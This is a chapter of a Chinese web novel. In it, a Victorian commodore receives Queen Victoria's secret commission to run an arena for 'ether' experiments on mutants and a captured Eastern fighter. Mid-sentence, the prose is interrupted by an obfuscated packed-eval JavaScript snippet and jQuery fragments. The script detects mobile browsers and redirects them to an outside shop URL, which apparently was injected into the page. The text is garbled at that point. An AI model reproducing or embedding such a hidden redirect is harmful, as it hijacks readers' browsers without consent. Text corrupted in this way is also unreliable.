24. 兽戮围场2
作品:《西渡东归》 授勋仪式在海军部主厅举行。这是维多利亚女王陛下的特别安排——给予荣誉,但不张扬。大厅里悬挂着纳尔逊等历代海军将领的画像。与会者皆是军方高层、东印度公司董事以及少数核心议员,没有记者,没有无关贵族。
阿瑟·切斯特顿站在队列最前方。
深蓝色准将礼服剪裁完美,金色绶带垂在胸前,肩章上的新徽记熠熠生辉。浅金色头发一丝不苟地束在脑后,露出一张年轻英俊、线条冷硬的脸。冰灰色的眼睛平视前方,虹膜在明亮的灯光下近乎透明。
海军大臣格雷夫斯上将的声音洪亮而富有仪式感,宣读着嘉奖令中关于“北海英勇行动”、“果决指挥”与“对王国海权的坚定捍卫”等词句。阿瑟·切斯特顿上前一步,接过那卷系着红色缎带的委任状,微微欠身,动作流畅而克制。掌声适时响起,节制,体面,符合这里的氛围。
几位老将交换眼神——这个年轻人升得太快了,但北海那一仗确实漂亮,“全歼维京海盗”的战报无可挑剔。
仪式简洁务实,二十分钟后便告结束。
一位侍从官悄无声息地走近,压低声音:“准将,请随我来。有位大人要见您。”
阿瑟颔首,跟随侍从穿过侧廊,登上狭窄的螺旋石梯。他们来到顶层一扇不起眼的橡木门前。侍从在门框某处按了一下,墙面滑开,露出一条仅容一人通过的密道。
密道尽头是一间隐藏的书房。
房间不大,陈设古朴。壁炉里燃着炭火,墙上挂着大英帝国的海图。维多利亚女王坐在书桌后,穿着深紫色绸缎裙装,肩披黑纱,佩戴着简单的珍珠首饰。她看起来像一位寻常的贵族老夫人,但房间里弥漫着无声的威压。
“陛下。”阿瑟单膝跪地。
“起来吧,准将。”女王的声音平静,却带着不容置疑的重量,“北海的事办得很好。议会里那些聒噪的声音终于安静了。”
“为陛下与帝国效劳,是臣的职责。”
女王从桌上拿起一份文件,推到他面前。“看看这个。”
阿瑟接过。文件抬头是《东印度公司远东异常事件汇总》,内容简洁:
一、 马六甲驻地报告:三名土著伐木工接触矿区深处发现的“荧光地衣”后,出现皮肤角质化、力量暴增症状,于七十二小时内陷入狂乱死亡。尸体解剖发现内脏有未知结晶残留。
二、孟买仓库事件:一批来自暹罗的“安神香料”在密封铅箱内自燃,火焰呈诡异靛蓝色,用水浇泼反而助长火势,最终用沙土掩埋方得扑灭。靠近的鼠类行为癫狂。
三、广州商馆密报:东土,大晟民间近年流传一改编甚广的“木兰传说”,内容已与官方史料严重不符,其中新增木兰将军能驭使无形天火等离奇情节,于底层民众中颇有市场。怀疑与某种未被记录的异常有关联。
“你怎么看?”女王问。
“以太逸散现象,陛下。”阿瑟回答得毫不犹豫,“自由港联邦的生物污染正在扩散。远东地区可能存在天然富集点,或是未被记录的变异物种。”
女王轻轻颔首,手指轻叩桌面。“议会那些先生们还在争论道德和传统,说是魔鬼的技艺。他们不明白,世界已经变了。如果我们不掌握这种力量,别人就会掌握——然后用它来对付我们。”
她抬起眼,目光锐利如刀:
“兽戮围场,你要管好。明面上,它是娱乐场所,让商人和贵族发泄多余的精力。暗地里,它是皇家研究院最重要的实验场。我要你从那些变异生物、那些角斗士身上,找出以太的规律。如何提取,如何控制,如何转化为帝国的力量。”
“是,陛下。”
“特别是你带回来的那个东方俘虏。”女王强调,“初步报告我看过了。异常的自愈能力。这是个珍贵样本,准将。我要你测试他的极限——但别让他死了。活着的样本,比尸体更有价值。”
“明白。”
女王从抽屉里取出一个钢制小盒,推过来。“这是皇家学会的最新进展。微量以太注入蒸汽机的实验数据。效率提升百分之三十,但副作用同样显著。”
阿瑟打开盒子。里面是几张照片:工厂车间,蒸汽机表面缠绕着诡异的蓝色光晕;旁边是几名工人的肖像照。他们手臂皮肤角质化,眼睛在暗处泛着不自然的微光。
“工人的变异无法逆转,目前”女王声音里只有冰冷的务实,“皇家学会建议短期雇佣贫民操作,事后处理。但这不是长久之计。我要的是可控的、可持续的力量。够武装我们的士兵,驱动我们的舰队”
她站起身,走到阿瑟面前,轻轻拍了拍他的肩膀。这个动作看似亲切,却让阿瑟心里一寒。
“你是最合适的人选,切斯特顿。年轻,有能力,没有那些迂腐的道德包袱。最重要的是。”
女王的嗓音压得更低:
“你懂得,有时候必须弄脏手,才能握住干净的权杖。”
阿瑟垂下视线。“臣定不负陛下所托。”
“去吧。授勋宴会在楼下,去露个面。然后,去做你该做的事。”
---
宴会厅里气氛已轻松许多。长桌上摆着冷餐、葡萄酒和威士忌。军官们三五成□□谈,东印度公司的董事们则聚在角落,低声讨论着什么。
阿瑟·切斯特顿准将端着一杯未碰过的香槟,从容地穿行于人群之间。
他与海军大臣讨论远东防务,引用数据精准,逻辑严密。与几位老将回忆北海气候对航行的影响,言辞谦逊而见解独到。甚至与两位议员夫人交谈时,也能恰到好处地称赞她们的服饰,引得对方掩唇轻笑。
他优雅,得体,游刃有余。没有人看出,半小时前他刚刚接受了女王最隐秘的委任。也没有人注意到,他礼服下的束胸正随着每一次呼吸,压迫着十二年前的旧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081272|195323||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
伤。
肋骨处的钝痛像潮水般缓慢上涨。他需要一剂药剂,但不是现在。
“准将。”东印度公司的老董事威廉姆斯凑过来,脸上堆着职业化的笑容,“祝贺您。远东的计划书……”
“下周会提交海军部审议。”阿瑟打断他,语气平稳,“陛下对此很关注。”
威廉姆斯脸色一肃,连连点头:“当然,当然。东印度公司会全力配合。”
宴会进行到一半时,副官悄声走近,递上一个文件夹。“围场的第一份完整报告,关于那个东方样本。”
阿瑟借故走向露台。夜风微凉,远处伦敦的灯火在泰晤士河两岸铺开。他翻开文件夹。
《兽戮围场实验体观测日志(编号:L-01,首轮)》
-实验体:东方人种,自称“林”,年龄约25岁
-重要修正:经战后体检确认,实验体为女性(先前因战伤及衣着误判)
-身体状态:右臂肩部缺失(陈旧伤),左眼晶状体薄翳,全身多处陈旧性创伤
-第1轮对手:歌伶塞壬(编号B-07,自由港捕获品)
-战斗结果:塞壬逃离,实验体幸存
-关键数据:
1. 实验体入场时右肩有未愈合感染穿透伤,深度约8厘米,肋骨断裂三根。
2. 战后3小时,伤口闭合速度超出常规医学认知约500%
3. 战斗期间体温峰值41.2℃,战后2小时内回落至正常
4. 塞壬近距离接触期间(<0.5米),周围以太浓度检测仪记录到短暂峰值
初步结论:实验体对以太存在异常亲和性或抗性,自愈能力疑似与以太代谢相关
建议:第2轮安排物理性强力对手,测试基础体能极限;第3轮注入低剂量以太刺激剂(B型),观察生理反应
阿瑟合上文件夹。他想起北海的炮火,那个独臂的身影扑向红发维京人,被倒下的桅杆砸中。血雾在望远镜的视野里绽开,这样的情况还是活下来了。
“珍贵样本。” 女王的话在耳边回响。
他将文件夹递还副官。“按建议安排第2轮和第3轮。通知围场主管:从今天起,所有实验体数据的最终审批权移交给我。未经我签字,任何人不得调整测试方案。”
“是,准将。”
“还有,”阿瑟顿了顿,“关于实验体性别的修正,仅限少数核心人员知晓。对外仍称男性。”
“明白。”
阿瑟转身走回宴会厅。灯火辉煌,将校云集,一切光鲜体面。
而他刚刚接过了这个帝国最黑暗的权柄之一。
肋骨处的疼痛又清晰了一分。他需要稍后处理。
他调整呼吸,整理袖口,脸上重新浮现那种得体而疏离的微笑,步入那片温暖的光明之中。
阴影被妥帖地留在身后。

